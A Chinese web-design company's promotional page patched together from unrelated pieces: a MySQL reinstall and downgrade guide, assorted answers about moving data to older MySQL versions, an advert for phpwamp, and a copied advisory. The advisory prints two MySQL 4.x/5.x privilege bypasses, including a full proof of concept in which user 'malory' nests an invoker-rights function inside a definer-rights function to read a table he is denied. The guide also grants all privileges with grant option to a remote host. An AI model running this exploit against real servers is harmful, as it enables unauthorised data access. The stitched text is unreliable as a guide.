扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
1.先用SQLyog之类的图形化数据库管理工具把数据库内的所有东西备份出来。backup database as sql dump。注意要选structure and data (结构和数据)。导出sql文件后,确认一下sql文件无误。
成都创新互联公司是一家专注于网站制作、网站建设与策划设计,西湖网站建设哪家好?成都创新互联公司做网站,专注于网站建设10多年,网设计领域的专业建站公司;建站业务涵盖:西湖等地区。西湖做网站价格咨询:18982081108
2.系统中可能存在自带的MySQL,采用命令进行强制删除
rpm –qa|grep mysql
rpm -e mysql-5.1.61 --nodeps 强制删除mysql 不考虑依赖关系 (此处根据上一步查询到的结果)
3.安装mysql
rpm -ivh MySQL-server-community-5.1.61-0.rhel5.x86_64.rpm (包名根据实际情况)
4.在MySQL配置文件/etc/my.cnf中根据实际需要添加
lower_case_table_names=1
skip-name-resolve
event_scheduler=1
default-character-set=utf8
wait_timeout=31536000
interactive_timeout=31536000
5.启动服务
cd /etc/init.d
./mysql restart
或者service mysqld restart
6.登陆MySQL
/usr/local/mysql/bin/mysql -u root –p
7.新增用户,根据允许访问的地址和用户,可能需要多次执行。
GRANT ALL PRIVILEGES ON *.* TO 'user'@'192.168.1.1(你的ip)' IDENTIFIED BY 'password' WITH GRANT OPTION;
flush privileges;
8.
用SQLyog之类的图形化数据库管理工具把数据库备份出来的sql语句执行一遍
9.完成
很简单,从高版本数据库导出的时候,不需要完全备份形式,只需备份数据或是备份建库建表和数据SQL文件,然后到执行操作至低版本数据库中就可以了。
可以在5.45中使用mysqldump将数据导出。然后安装mysql4.0.26,然后将数据导入,注意在mysql4.0.26中,不支持多字符集,所有的字符的存储都是latin1的。因此最好在5.45中先mysqldump出表结构,然后再mysqldump出数据;再在mysql4中创建数据库和表,创建的时候去掉表的字符集的选项,表创建好后再将数据导入库中。
建议你下载phpwamp8.8.8.8,支持切换mysql数据库180数据库版本随便切换
支持键自定义php版本自定义数据库,700php版本180数据库版本随便切换
同运行同php版本同数据库站点管理工具功能强
这个解决起来很麻烦,不过有解决途径:在原数据库里面导出SQL语句;找出符合现在低版本的SQL语句代码;然后在代版本中运行相关的SQL语句就OK了,、毕竟他们都是MYSQL都支持MYSQL语句,只是有一些语法上面的区别而已。
1、创建数据库
$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard
mysql create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'
mysql create database sAmple;
Query OK, 1 row affected (0.00 sec)
2、权限提升
--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings
# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;
# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;
use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);
connect (malcon, localhost, malory,,mysqltest1);
# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;
# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|
# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;
# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;
connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
建议:
厂商补丁:MySQL AB
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流